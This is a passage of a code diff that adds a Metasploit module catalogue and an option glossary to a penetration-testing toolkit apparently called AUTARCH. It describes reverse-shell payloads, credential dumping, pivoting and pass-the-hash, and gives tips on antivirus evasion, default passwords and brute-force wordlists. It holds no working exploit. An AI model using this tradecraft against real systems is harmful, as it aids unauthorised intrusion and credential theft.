cracked or used for pass-the-hash.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'SESSION', 'required': True, 'desc': 'Meterpreter session ID'}, + ], + 'tags': ['post', 'windows', 'credentials', 'hashdump', 'sam', 'hashes'], + 'notes': 'Requires SYSTEM. Use getsystem or run as SYSTEM service. Hashes in LM:NT format.', + }, + 'post/multi/recon/local_exploit_suggester': { + 'name': 'Local Exploit Suggester', + 'description': 'Suggests local privilege escalation exploits based on the target system. ' + 'Checks patch level and configuration to recommend applicable exploits.', + 'author': ['sinn3r', 'Shelby Pace'], + 'cve': None, + 'platforms': ['windows', 'linux'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'SESSION', 'required': True, 'desc': 'Session ID'}, + {'name': 'SHOWDESCRIPTION', 'required': False, 'desc': 'Show exploit descriptions'}, + ], + 'tags': ['post', 'recon', 'privesc', 'suggester', 'local', 'escalation'], + 'notes': 'Run this first after getting a shell. Checks for missing patches.', + }, + 'post/windows/manage/migrate': { + 'name': 'Meterpreter Process Migration', + 'description': 'Migrates Meterpreter to another process. Improves stability and ' + 'can help bypass AV. Common targets: explorer.exe, svchost.exe.', + 'author': ['hdm', 'egypt'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'great', + 'options': [ + {'name': 'SESSION', 'required': True, 'desc': 'Meterpreter session ID'}, + {'name': 'PID', 'required': False, 'desc': 'Target process ID'}, + {'name': 'NAME', 'required': False, 'desc': 'Target process name'}, + ], + 'tags': ['post', 'windows', 'migrate', 'process', 'stability'], + 'notes': 'Migrate to stable process quickly. If current process dies, session dies.', + }, + 'post/multi/manage/autoroute': { + 'name': 'Auto Route Setup', + 'description': 'Adds routes through a Meterpreter session for pivoting. Allows ' + 'scanning and exploiting systems on networks accessible to the compromised host.', + 'author': ['egypt', 'hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'SESSION', 'required': True, 'desc': 'Session ID'}, + {'name': 'SUBNET', 'required': False, 'desc': 'Subnet to route (auto-detected)'}, + ], + 'tags': ['post', 'pivot', 'route', 'network', 'lateral'], + 'notes': 'Essential for pivoting. Auto-detects subnets from session network config.', + }, + + # ========================================================================= + # PAYLOADS (Reference Only) + # ========================================================================= + 'payload/windows/meterpreter/reverse_tcp': { + 'name': 'Windows Meterpreter Reverse TCP', + 'description': 'Advanced payload that connects back to your machine. Provides file ' + 'system access, process manipulation, pivoting, screenshot, keylogging, ' + 'and more. The most capable Windows payload.', + 'author': ['hdm', 'skape'], + 'cve': None, + 'platforms': ['windows'], + 'arch': ['x86'], + 'reliability': 'excellent', + 'options': [ + {'name': 'LHOST', 'required': True, 'desc': 'Your IP address'}, + {'name': 'LPORT', 'required': True, 'desc': 'Your listening port'}, + ], + 'tags': ['payload', 'windows', 'meterpreter', 'reverse', 'tcp'], + 'notes': 'Requires outbound TCP from target. Most feature-rich payload.', + }, + 'payload/windows/x64/meterpreter/reverse_tcp': { + 'name': 'Windows x64 Meterpreter Reverse TCP', + 'description': '64-bit Meterpreter for Windows x64 systems. Same capabilities as x86 ' + 'version but for 64-bit targets. Required for modern Windows.', + 'author': ['hdm', 'skape', 'sf'], + 'cve': None, + 'platforms': ['windows'], + 'arch': ['x64'], + 'reliability': 'excellent', + 'options': [ + {'name': 'LHOST', 'required': True, 'desc': 'Your IP address'}, + {'name': 'LPORT', 'required': True, 'desc': 'Your listening port'}, + ], + 'tags': ['payload', 'windows', 'meterpreter', 'reverse', 'tcp', 'x64'], + 'notes': 'Use for 64-bit Windows. Most modern Windows systems are x64.', + }, + 'payload/linux/x64/meterpreter/reverse_tcp': { + 'name': 'Linux x64 Meterpreter Reverse TCP', + 'description': 'Linux Meterpreter providing advanced post-exploitation capabilities. ' + 'File access, process control, and pivoting on Linux targets.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['linux'], + 'arch': ['x64'], + 'reliability': 'excellent', + 'options': [ + {'name': 'LHOST', 'required': True, 'desc': 'Your IP address'}, + {'name': 'LPORT', 'required': True, 'desc': 'Your listening port'}, + ], + 'tags': ['payload', 'linux', 'meterpreter', 'reverse', 'tcp', 'x64'], + 'notes': 'Full meterpreter features on Linux. Use for advanced post-exploitation.', + }, + 'payload/linux/x64/shell_reverse_tcp': { + 'name': 'Linux x64 Shell Reverse TCP', + 'description': 'Simple reverse shell for Linux. Connects back and provides /bin/sh. ' + 'Smaller and more reliable than Meterpreter when simplicity is needed.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['linux'], + 'arch': ['x64'], + 'reliability': 'excellent', + 'options': [ + {'name': 'LHOST', 'required': True, 'desc': 'Your IP address'}, + {'name': 'LPORT', 'required': True, 'desc': 'Your listening port'}, + ], + 'tags': ['payload', 'linux', 'shell', 'reverse', 'tcp', 'x64'], + 'notes': 'Simple shell - use when Meterpreter fails or is detected.', + }, +} + + +# ============================================================================= +# MODULE CATEGORIES +# ============================================================================= + +MODULE_CATEGORIES = { + 'scanner': { + 'name': 'Scanners', + 'description': 'Modules that scan for information or vulnerabilities', + 'subcategories': ['smb', 'ssh', 'http', 'ftp', 'mysql', 'mssql', 'postgres', 'rdp', 'vnc', 'portscan'], + }, + 'exploit': { + 'name': 'Exploits', + 'description': 'Modules that exploit vulnerabilities to gain access', + 'subcategories': ['windows', 'linux', 'unix', 'multi', 'web'], + }, + 'post': { + 'name': 'Post-Exploitation', + 'description': 'Modules for actions after gaining access', + 'subcategories': ['gather', 'manage', 'recon', 'escalate'], + }, + 'payload': { + 'name': 'Payloads', + 'description': 'Payloads delivered by exploits', + 'subcategories': ['meterpreter', 'shell', 'reverse', 'bind'], + }, + 'auxiliary': { + 'name': 'Auxiliary', + 'description': 'Supporting modules (scanners, fuzzers, etc.)', + 'subcategories': ['scanner', 'admin', 'gather', 'fuzz'], + }, +} + + +# ============================================================================= +# API FUNCTIONS +# ============================================================================= + +def get_module_info(module_path: str) -> Optional[Dict[str, Any]]: + """Get information about a module. + + Args: + module_path: Full module path (e.g., 'auxiliary/scanner/smb/smb_version'). + + Returns: + Dictionary with module info, or None if not found. + """ + return MSF_MODULES.get(module_path) + + +def get_module_description(module_path: str) -> str: + """Get just the description for a module. + + Args: + module_path: Module path. + + Returns: + Description string, or 'Unknown module' if not found. + """ + info = get_module_info(module_path) + if info: + return info['description'] + return f"No description available for: {module_path}" + + +def search_modules(query: str, max_results: int = 50) -> List[Dict[str, Any]]: + """Search modules by keyword. + + Args: + query: Search query (searches name, description, tags). + max_results: Maximum results to return. + + Returns: + List of matching modules with path and info. + """ + query_lower = query.lower() + results = [] + + for path, info in MSF_MODULES.items(): + score = 0 + + # Check path + if query_lower in path.lower(): + score += 10 + + # Check name + if query_lower in info.get('name', '').lower(): + score += 8 + + # Check tags + for tag in info.get('tags', []): + if query_lower in tag.lower(): + score += 5 + + # Check description + if query_lower in info.get('description', '').lower(): + score += 3 + + # Check CVE + for cve in (info.get('cve') or []): + if query_lower in cve.lower(): + score += 10 + + if score > 0: + results.append({ + 'path': path, + 'score': score, + **info + }) + + # Sort by score descending + results.sort(key=lambda x: x['score'], reverse=True) + return results[:max_results] + + +def get_modules_by_type(module_type: str) -> List[Dict[str, Any]]: + """Get all modules of a specific type. + + Args: + module_type: Module type prefix (exploit, auxiliary, post, payload). + + Returns: + List of modules matching the type. + """ + results = [] + prefix = module_type.lower().rstrip('/') + + for path, info in MSF_MODULES.items(): + if path.startswith(prefix): + results.append({ + 'path': path, + **info + }) + + return results + + +def get_modules_by_tag(tag: str) -> List[Dict[str, Any]]: + """Get all modules with a specific tag. + + Args: + tag: Tag to search for. + + Returns: + List of modules with that tag. + """ + tag_lower = tag.lower() + results = [] + + for path, info in MSF_MODULES.items(): + if tag_lower in [t.lower() for t in info.get('tags', [])]: + results.append({ + 'path': path, + **info + }) + + return results + + +def get_modules_by_platform(platform: str) -> List[Dict[str, Any]]: + """Get all modules for a specific platform. + + Args: + platform: Platform (windows, linux, unix, multi). + + Returns: + List of modules for that platform. + """ + platform_lower = platform.lower() + results = [] + + for path, info in MSF_MODULES.items(): + platforms = info.get('platforms', []) + if platform_lower in [p.lower() for p in platforms]: + results.append({ + 'path': path, + **info + }) + + return results + + +def get_module_options(module_path: str) -> List[Dict[str, Any]]: + """Get the common options for a module. + + Args: + module_path: Module path. + + Returns: + List of option dictionaries. + """ + info = get_module_info(module_path) + if info: + return info.get('options', []) + return [] + + +def format_module_help(module_path: str) -> str: + """Get formatted help text for a module. + + Args: + module_path: Module path. + + Returns: + Formatted help string. + """ + info = get_module_info(module_path) + + if not info: + return f"No information available for: {module_path}" + + lines = [ + f"Module: {module_path}", + f"Name: {info.get('name', 'Unknown')}", + "", + info.get('description', 'No description'), + "", + ] + + if info.get('cve'): + lines.append(f"CVE: {', '.join(info['cve'])}") + + if info.get('platforms'): + lines.append(f"Platforms: {', '.join(info['platforms'])}") + + if info.get('reliability'): + lines.append(f"Reliability: {info['reliability']}") + + if info.get('options'): + lines.append("") + lines.append("Common Options:") + for opt in info['options']: + req = "(required)" if opt.get('required') else "" + lines.append(f" {opt['name']:15} - {opt.get('desc', '')} {req}") + + if info.get('notes'): + lines.append("") + lines.append(f"Notes: {info['notes']}") + + return '\n'.join(lines) + + +def list_all_modules() -> List[str]: + """Get list of all module paths in the library. + + Returns: + List of module paths. + """ + return list(MSF_MODULES.keys()) + + +def get_module_count() -> Dict[str, int]: + """Get count of modules by type. + + Returns: + Dictionary of type -> count. + """ + counts = {'exploit': 0, 'auxiliary': 0, 'post': 0, 'payload': 0} + + for path in MSF_MODULES.keys(): + for mtype in counts.keys(): + if path.startswith(mtype): + counts[mtype] += 1 + break + + counts['total'] = len(MSF_MODULES) + return counts + + +# ============================================================================= +# QUICK REFERENCE +# ============================================================================= + +def print_module_summary(): + """Print a summary of modules in the library.""" + counts = get_module_count() + + print("MSF Module Library Summary") + print("=" * 50) + print(f"Total modules: {counts['total']}") + print(f" Exploits: {counts['exploit']}") + print(f" Auxiliary/Scanners: {counts['auxiliary']}") + print(f" Post-exploitation: {counts['post']}") + print(f" Payloads: {counts['payload']}") + + +if __name__ == "__main__": + print_module_summary() + + print("\n" + "=" * 50) + print("Sample search for 'smb':") + results = search_modules('smb', max_results=5) + for r in results: + print(f" {r['path']}") + print(f" {r['name']}") + + print("\n" + "=" * 50) + print("Sample module help:") + print(format_module_help('exploit/windows/smb/ms17_010_eternalblue')) diff --git a/core/msf_terms.py b/core/msf_terms.py new file mode 100644 index 0000000..5fd8796 --- /dev/null +++ b/core/msf_terms.py @@ -0,0 +1,1124 @@ +""" +AUTARCH Metasploit Term Bank +Centralized definitions for MSF options and settings. + +Provides consistent explanations and prompts for all Metasploit options +so they don't need to be repeated throughout the codebase. + +Usage: + from core.msf_terms import get_setting_info, get_setting_prompt, format_setting_help + + info = get_setting_info('RHOSTS') + print(info['description']) + + prompt = get_setting_prompt('RPORT', default=445) + user_input = input(prompt) +""" + +from typing import Dict, Optional, Any, List + + +# ============================================================================= +# MSF SETTINGS TERM BANK +# ============================================================================= +# Each setting has: +# - description: What this option does +# - input_type: Expected input type (ip, port, string, boolean, path, etc.) +# - examples: Example values +# - default: Common default value (if any) +# - aliases: Other names that mean the same thing +# - category: Grouping (target, connection, authentication, payload, etc.) +# - required: Whether typically required +# - notes: Additional tips or warnings + +MSF_SETTINGS = { + # ========================================================================= + # TARGET OPTIONS + # ========================================================================= + 'RHOSTS': { + 'description': 'The target host(s) to scan or exploit. Can be a single IP, ' + 'a hostname, a CIDR range (192.168.1.0/24), or a range ' + '(192.168.1.1-254). Multiple targets can be separated by spaces.', + 'input_type': 'host_range', + 'examples': ['192.168.1.1', '192.168.1.0/24', '192.168.1.1-50', 'target.example.com'], + 'default': None, + 'aliases': ['RHOST', 'TARGET', 'TARGETS'], + 'category': 'target', + 'required': True, + 'notes': 'For single-target exploits, use RHOST. For scanners, RHOSTS supports ranges.', + }, + 'RHOST': { + 'description': 'The target host IP address or hostname. This is the system ' + 'you want to scan or exploit.', + 'input_type': 'host', + 'examples': ['192.168.1.1', 'target.example.com', '10.0.0.50'], + 'default': None, + 'aliases': ['RHOSTS', 'TARGET'], + 'category': 'target', + 'required': True, + 'notes': 'If you enter a hostname, it will be resolved to an IP address.', + }, + 'RPORT': { + 'description': 'The target port number on the remote host. This is the port ' + 'where the vulnerable service is running.', + 'input_type': 'port', + 'examples': ['22', '80', '443', '445', '3389'], + 'default': None, # Varies by module + 'aliases': ['PORT', 'TARGET_PORT'], + 'category': 'target', + 'required': True, + 'notes': 'Common ports: 22 (SSH), 80 (HTTP), 443 (HTTPS), 445 (SMB), 3389 (RDP).', + }, + 'TARGETURI': { + 'description': 'The URI path on the target web server. This is the path to ' + 'the vulnerable application or endpoint.', + 'input_type': 'path', + 'examples': ['/', '/admin', '/api/v1', '/wp-admin'], + 'default': '/', + 'aliases': ['URI', 'PATH'], + 'category': 'target', + 'required': False, + 'notes': 'Usually starts with /. Check the application documentation for the correct path.', + }, + 'VHOST': { + 'description': 'The virtual host (HTTP Host header) to use in requests. ' + 'Useful when multiple sites are hosted on the same IP.', + 'input_type': 'hostname', + 'examples': ['www.example.com', 'admin.target.local'], + 'default': None, + 'aliases': ['VIRTUALHOST'], + 'category': 'target', + 'required': False, + 'notes': 'Set this if the target uses virtual hosting or name-based routing.', + }, + 'DOMAIN': { + 'description': 'The Windows domain name for authentication or targeting. ' + 'Used in Active Directory environments.', + 'input_type': 'string', + 'examples': ['CORP', 'WORKGROUP', 'mydomain.local'], + 'default': 'WORKGROUP', + 'aliases': ['SMBDomain'], + 'category': 'target', + 'required': False, + 'notes': 'For workgroup machines, use WORKGROUP. For domain-joined, use the domain name.', + }, + + # ========================================================================= + # LOCAL/LISTENER OPTIONS + # ========================================================================= + 'LHOST': { + 'description': 'Your local IP address that the target will connect back to. ' + 'This is YOUR machine\'s IP, used for reverse shells and callbacks.', + 'input_type': 'ip', + 'examples': ['192.168.1.100', '10.10.14.5', 'eth0'], + 'default': None, + 'aliases': ['LOCALHOST', 'CALLBACK_HOST'], + 'category': 'local', + 'required': True, # For reverse payloads + 'notes': 'Must be reachable from the target. Use your VPN/tun0 IP for remote targets. ' + 'Can specify interface name (eth0) to auto-detect.', + }, + 'LPORT': { + 'description': 'The local port on your machine to listen for incoming connections. ' + 'The target will connect back to this port.', + 'input_type': 'port', + 'examples': ['4444', '443', '8080', '9001'], + 'default': '4444', + 'aliases': ['LOCALPORT', 'CALLBACK_PORT'], + 'category': 'local', + 'required': True, # For reverse payloads + 'notes': 'Ports below 1024 require root. Using 443 or 80 may help bypass firewalls.', + }, + 'SRVHOST': { + 'description': 'The IP address for the local server to bind to. This is where ' + 'MSF will start a listener or HTTP server.', + 'input_type': 'ip', + 'examples': ['0.0.0.0', '192.168.1.100', '127.0.0.1'], + 'default': '0.0.0.0', + 'aliases': ['SERVER_HOST'], + 'category': 'local', + 'required': False, + 'notes': '0.0.0.0 listens on all interfaces. Use specific IP to restrict access.', + }, + 'SRVPORT': { + 'description': 'The port for the local server to listen on. Used for exploit ' + 'delivery servers, HTTP servers, etc.', + 'input_type': 'port', + 'examples': ['8080', '80', '443', '8888'], + 'default': '8080', + 'aliases': ['SERVER_PORT'], + 'category': 'local', + 'required': False, + 'notes': 'Choose a port that won\'t conflict with existing services.', + }, + + # ========================================================================= + # AUTHENTICATION OPTIONS + # ========================================================================= + 'USERNAME': { + 'description': 'The username for authentication to the target service.', + 'input_type': 'string', + 'examples': ['admin', 'root', 'administrator', 'sa'], + 'default': None, + 'aliases': ['USER', 'SMBUser', 'HttpUsername', 'FTPUser'], + 'category': 'auth', + 'required': False, + 'notes': 'Required for authenticated scans/exploits. Try common defaults if unknown.', + }, + 'PASSWORD': { + 'description': 'The password for authentication to the target service.', + 'input_type': 'password', + 'examples': ['password123', 'admin', 'P@ssw0rd'], + 'default': None, + 'aliases': ['PASS', 'SMBPass', 'HttpPassword', 'FTPPass'], + 'category': 'auth', + 'required': False, + 'notes': 'Can be blank for null password attempts. Consider using PASS_FILE for brute force.', + }, + 'USER_FILE': { + 'description': 'Path to a file containing usernames, one per line. ' + 'Used for credential brute forcing.', + 'input_type': 'file_path', + 'examples': ['/usr/share/wordlists/users.txt', '/opt/seclists/Usernames/top-usernames.txt'], + 'default': None, + 'aliases': ['USERPASS_FILE', 'USERNAME_FILE'], + 'category': 'auth', + 'required': False, + 'notes': 'For brute force attacks. Combine with PASS_FILE for credential stuffing.', + }, + 'PASS_FILE': { + 'description': 'Path to a file containing passwords, one per line. ' + 'Used for credential brute forcing.', + 'input_type': 'file_path', + 'examples': ['/usr/share/wordlists/rockyou.txt', '/opt/seclists/Passwords/common.txt'], + 'default': None, + 'aliases': ['PASSWORD_FILE'], + 'category': 'auth', + 'required': False, + 'notes': 'For brute force attacks. rockyou.txt is a common choice.', + }, + 'NTLM_HASH': { + 'description': 'The NTLM password hash for pass-the-hash (PtH) authentication. ' + 'This allows authentication without knowing the plaintext password. ' + 'Format is LM:NT (both hashes) or just the NT hash alone. The LM hash ' + 'can be set to the empty LM hash (aad3b435b51404eeaad3b435b51404ee) ' + 'if only the NT hash is available.', + 'input_type': 'hash', + 'examples': [ + 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0', + '31d6cfe0d16ae931b73c59d7e0c089c0', + 'aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86', + ], + 'default': None, + 'aliases': ['SMB::NTLM', 'HASH', 'NTHASH'], + 'category': 'auth', + 'required': False, + 'notes': 'Obtain hashes via hashdump, mimikatz, secretsdump, or SAM extraction. ' + 'PtH works on SMB, WMI, WinRM, and other Windows protocols.', + }, + 'PRIVATEKEY': { + 'description': 'Path to a private key file for SSH/SSL authentication.', + 'input_type': 'file_path', + 'examples': ['/root/.ssh/id_rsa', '/home/user/key.pem'], + 'default': None, + 'aliases': ['SSH_KEY', 'KEY_FILE'], + 'category': 'auth', + 'required': False, + 'notes': 'For SSH key-based authentication. Must be readable by MSF.', + }, + + # ========================================================================= + # PAYLOAD OPTIONS + # ========================================================================= + 'PAYLOAD': { + 'description': 'The payload to deliver to the target. Payloads determine what ' + 'happens after successful exploitation (shell, meterpreter, etc).', + 'input_type': 'module_path', + 'examples': [ + 'windows/meterpreter/reverse_tcp', + 'linux/x64/shell_reverse_tcp', + 'cmd/unix/reverse_bash', + ], + 'default': None, + 'aliases': ['P'], + 'category': 'payload', + 'required': True, # For exploits + 'notes': 'Meterpreter provides advanced features. Shell payloads are simpler but reliable.', + }, + 'EXITFUNC': { + 'description': 'How the payload should exit after execution. Affects stability ' + 'and detection.', + 'input_type': 'enum', + 'examples': ['thread', 'process', 'seh', 'none'], + 'default': 'thread', + 'aliases': [], + 'category': 'payload', + 'required': False, + 'notes': 'thread=safest for services, process=kills app, seh=exception handler.', + }, + 'ENCODER': { + 'description': 'The encoder to use for obfuscating the payload. Helps evade ' + 'antivirus detection.', + 'input_type': 'module_path', + 'examples': ['x86/shikata_ga_nai', 'x64/xor', 'cmd/powershell_base64'], + 'default': None, + 'aliases': ['E'], + 'category': 'payload', + 'required': False, + 'notes': 'shikata_ga_nai is popular but well-detected. May need multiple iterations.', + }, + 'ITERATIONS': { + 'description': 'Number of times to encode the payload. More iterations = more obfuscation.', + 'input_type': 'integer', + 'examples': ['1', '5', '10'], + 'default': '1', + 'aliases': ['I'], + 'category': 'payload', + 'required': False, + 'notes': 'More iterations increases size. Diminishing returns after 5-10.', + }, + + # ========================================================================= + # CONNECTION OPTIONS + # ========================================================================= + 'SSL': { + 'description': 'Whether to use SSL/TLS encryption for the connection.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'false', + 'aliases': ['UseSSL', 'HTTPS'], + 'category': 'connection', + 'required': False, + 'notes': 'Enable for HTTPS targets (port 443). Disable for HTTP (port 80).', + }, + 'PROXIES': { + 'description': 'Proxy server(s) to route traffic through. Format: type:host:port.', + 'input_type': 'proxy', + 'examples': ['socks4:127.0.0.1:9050', 'http:proxy.example.com:8080'], + 'default': None, + 'aliases': ['PROXY'], + 'category': 'connection', + 'required': False, + 'notes': 'Useful for anonymity or pivoting. socks4/socks5/http supported.', + }, + 'TIMEOUT': { + 'description': 'Connection timeout in seconds. How long to wait for a response.', + 'input_type': 'integer', + 'examples': ['5', '10', '30', '60'], + 'default': '10', + 'aliases': ['ConnectTimeout', 'SOCKET_TIMEOUT'], + 'category': 'connection', + 'required': False, + 'notes': 'Increase for slow/distant targets. Decrease for faster scanning.', + }, + 'THREADS': { + 'description': 'Number of concurrent threads/connections to use. Higher = faster ' + 'but more noisy.', + 'input_type': 'integer', + 'examples': ['1', '5', '10', '50'], + 'default': '1', + 'aliases': ['CONCURRENCY'], + 'category': 'connection', + 'required': False, + 'notes': 'For scanners only. Higher threads may trigger IDS/IPS. Start low.', + }, + + # ========================================================================= + # SCAN OPTIONS + # ========================================================================= + 'PORTS': { + 'description': 'Target port(s) to scan. Can be a single port, range, or comma-separated list.', + 'input_type': 'port_range', + 'examples': ['22', '1-1000', '22,80,443,445', '21-25,80,443,8080-8090'], + 'default': '1-10000', + 'aliases': ['RPORTS', 'PORT_RANGE'], + 'category': 'scan', + 'required': False, + 'notes': 'Common ports: 21,22,23,25,80,443,445,3306,3389,5432,8080.', + }, + 'SHOW_PROGRESS': { + 'description': 'Display real-time progress information during scan execution. ' + 'When enabled, shows percentage complete, hosts scanned, and estimated ' + 'time remaining. Useful for long-running scans to monitor status and ' + 'ensure the scan is progressing normally.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'true', + 'aliases': ['VERBOSE', 'PROGRESS'], + 'category': 'scan', + 'required': False, + 'notes': 'Disable for cleaner output in scripted/automated scans. Enable when ' + 'running interactively to monitor large network scans.', + }, + + # ========================================================================= + # SESSION OPTIONS + # ========================================================================= + 'SESSION': { + 'description': 'The session ID to use for post-exploitation modules. ' + 'Refers to an existing compromised session.', + 'input_type': 'integer', + 'examples': ['1', '2', '3'], + 'default': None, + 'aliases': ['S'], + 'category': 'session', + 'required': True, # For post modules + 'notes': 'Use "sessions -l" to list available sessions and their IDs.', + }, + + # ========================================================================= + # DATABASE OPTIONS + # ========================================================================= + 'DATABASE': { + 'description': 'The name of the target database to connect to or enumerate. ' + 'For MySQL/MariaDB, common databases include mysql, information_schema. ' + 'For MSSQL, master and msdb are system databases. For PostgreSQL, ' + 'postgres is the default. Web applications typically have custom ' + 'database names like webapp_db, wordpress, etc.', + 'input_type': 'string', + 'examples': ['mysql', 'information_schema', 'webapp_db', 'master', 'postgres'], + 'default': None, + 'aliases': ['DB', 'DBNAME', 'DATABASE_NAME'], + 'category': 'database', + 'required': False, + 'notes': 'Use information_schema (MySQL) or master (MSSQL) to enumerate other ' + 'databases. Some modules auto-detect available databases.', + }, + + # ========================================================================= + # OUTPUT OPTIONS + # ========================================================================= + 'VERBOSE': { + 'description': 'Enable verbose output for more detailed information.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'false', + 'aliases': ['V', 'DEBUG'], + 'category': 'output', + 'required': False, + 'notes': 'Helpful for troubleshooting but increases output volume.', + }, + 'OUTPUT_FILE': { + 'description': 'File path where scan results or module output will be saved. ' + 'The output format depends on the module - some save raw text, ' + 'others save structured data (XML, JSON, CSV). Useful for ' + 'documentation, reporting, and further analysis. The directory ' + 'must exist and be writable.', + 'input_type': 'file_path', + 'examples': ['/tmp/scan_results.txt', '/root/loot/output.txt', './results/nmap_scan.xml'], + 'default': None, + 'aliases': ['OUTFILE', 'LOGFILE', 'OUTPUT'], + 'category': 'output', + 'required': False, + 'notes': 'Create a dedicated loot/results directory for organization. Some modules ' + 'support format suffixes (.xml, .json) to control output format.', + }, + + # ========================================================================= + # SMB-SPECIFIC OPTIONS + # ========================================================================= + 'SMBUser': { + 'description': 'Username for SMB (Server Message Block) authentication to Windows ' + 'file shares and services. This is the Windows account username used ' + 'to authenticate. For domain accounts, just provide the username - ' + 'the domain is specified separately in SMBDomain.', + 'input_type': 'string', + 'examples': ['administrator', 'admin', 'guest', 'svc_backup', 'YOURUSER'], + 'default': None, + 'aliases': ['USERNAME', 'USER', 'SMBUSERNAME'], + 'category': 'smb', + 'required': False, + 'notes': 'Leave blank for anonymous/null session attempts. Guest account may work ' + 'on misconfigured systems. Try administrator, admin, or service accounts.', + }, + 'SMBPass': { + 'description': 'Password for SMB authentication. This is the plaintext password ' + 'for the account specified in SMBUser. For pass-the-hash attacks, ' + 'leave this blank and use the NTLM_HASH option instead.', + 'input_type': 'password', + 'examples': ['password123', 'P@ssw0rd!', 'Summer2024!', 'Welcome1'], + 'default': None, + 'aliases': ['PASSWORD', 'PASS', 'SMBPASSWORD'], + 'category': 'smb', + 'required': False, + 'notes': 'Can use NTLM hash instead via SMB::NTLM or NTLM_HASH option for PtH attacks. ' + 'Common weak passwords: Password1, Welcome1, Company123, Season+Year.', + }, + 'SMBDomain': { + 'description': 'The Windows domain or workgroup name for SMB authentication. For ' + 'domain-joined machines, use the NetBIOS domain name (e.g., CORP) or ' + 'FQDN (e.g., corp.local). For standalone/workgroup machines, use ' + 'WORKGROUP or a period (.) to indicate local authentication.', + 'input_type': 'string', + 'examples': ['WORKGROUP', 'CORP', 'domain.local', '.', 'MYDOMAIN'], + 'default': '.', + 'aliases': ['DOMAIN', 'SMB_DOMAIN'], + 'category': 'smb', + 'required': False, + 'notes': 'Use . or WORKGROUP for local account authentication. For domain accounts, ' + 'the domain must match the target. Try both NETBIOS and FQDN formats.', + }, + 'SHARE': { + 'description': 'The SMB share name to connect to on the target. Administrative shares ' + '(C$, ADMIN$, IPC$) are hidden shares that require admin privileges. ' + 'IPC$ is used for null sessions and named pipe communication. Custom ' + 'shares (shared, public, data) vary by system configuration.', + 'input_type': 'string', + 'examples': ['C$', 'ADMIN$', 'IPC$', 'shared', 'public', 'Users', 'NETLOGON', 'SYSVOL'], + 'default': None, + 'aliases': ['SMB_SHARE', 'SHARENAME'], + 'category': 'smb', + 'required': False, + 'notes': 'C$ = C: drive (admin), ADMIN$ = Windows dir (admin), IPC$ = inter-process ' + '(null sessions). NETLOGON/SYSVOL on DCs often readable by domain users.', + }, + + # ========================================================================= + # HTTP-SPECIFIC OPTIONS + # ========================================================================= + 'HttpUsername': { + 'description': 'Username for HTTP Basic or Digest authentication. This is used when ' + 'a web server or application requires HTTP-level authentication (the ' + 'browser popup dialog). Not the same as form-based login credentials. ' + 'The credentials are sent in the Authorization header.', + 'input_type': 'string', + 'examples': ['admin', 'root', 'user', 'webadmin', 'tomcat'], + 'default': None, + 'aliases': ['USERNAME', 'HTTP_USER', 'AUTH_USER'], + 'category': 'http', + 'required': False, + 'notes': 'For HTTP 401 authentication prompts. Common defaults: admin/admin, ' + 'tomcat/tomcat, root/root. Check for .htpasswd files.', + }, + 'HttpPassword': { + 'description': 'Password for HTTP Basic or Digest authentication. Paired with ' + 'HttpUsername for HTTP-level authentication. These credentials are ' + 'base64-encoded (Basic) or hashed (Digest) in the Authorization header.', + 'input_type': 'password', + 'examples': ['admin', 'password', 'secret', 'tomcat', 'manager'], + 'default': None, + 'aliases': ['PASSWORD', 'HTTP_PASS', 'AUTH_PASS'], + 'category': 'http', + 'required': False, + 'notes': 'HTTP Basic sends credentials in easily-decoded base64. Always use HTTPS. ' + 'Common combos: admin/admin, admin/password, tomcat/s3cret.', + }, + 'COOKIE': { + 'description': 'HTTP cookie(s) to include with every request. Used to maintain ' + 'authenticated sessions or provide required tokens. Multiple cookies ' + 'are separated by semicolons. Copy from browser DevTools (F12) > ' + 'Network tab > Request Headers > Cookie.', + 'input_type': 'string', + 'examples': [ + 'session=abc123', + 'PHPSESSID=xyz789; auth=true', + 'JSESSIONID=ABC123; csrf_token=xyz', + 'wordpress_logged_in=admin%7C1234567890', + ], + 'default': None, + 'aliases': ['COOKIES', 'HTTP_COOKIE', 'SESSION_COOKIE'], + 'category': 'http', + 'required': False, + 'notes': 'Get cookies from browser DevTools, Burp Suite, or login response. ' + 'Cookies may expire - refresh if attacks fail after a while.', + }, + 'USERAGENT': { + 'description': 'The User-Agent HTTP header identifying the browser/client. Servers ' + 'may behave differently based on User-Agent. Some WAFs block suspicious ' + 'or non-browser User-Agents. Spoofing helps blend in with normal traffic.', + 'input_type': 'string', + 'examples': [ + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', + 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X)', + 'Mozilla/5.0 (compatible; Googlebot/2.1)', + 'curl/7.68.0', + ], + 'default': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1)', + 'aliases': ['USER_AGENT', 'UA', 'HTTP_USER_AGENT'], + 'category': 'http', + 'required': False, + 'notes': 'Use current browser strings for stealth. Googlebot UA may bypass auth. ' + 'Some sites serve different content to mobile vs desktop UAs.', + }, + 'METHOD': { + 'description': 'The HTTP method (verb) for the request. GET retrieves data, POST ' + 'submits data, PUT updates/creates resources, DELETE removes resources, ' + 'HEAD gets headers only. The correct method depends on the target ' + 'application and vulnerability being exploited.', + 'input_type': 'enum', + 'examples': ['GET', 'POST', 'PUT', 'DELETE', 'HEAD', 'OPTIONS', 'PATCH'], + 'default': 'GET', + 'aliases': ['HTTP_METHOD', 'VERB', 'REQUEST_METHOD'], + 'category': 'http', + 'required': False, + 'notes': 'GET for reading/triggering, POST for sending payloads, PUT for upload vulns, ' + 'OPTIONS for CORS checks. HEAD useful for fingerprinting without downloading.', + }, + 'DATA': { + 'description': 'The HTTP request body data, typically for POST/PUT requests. Can be ' + 'URL-encoded form data 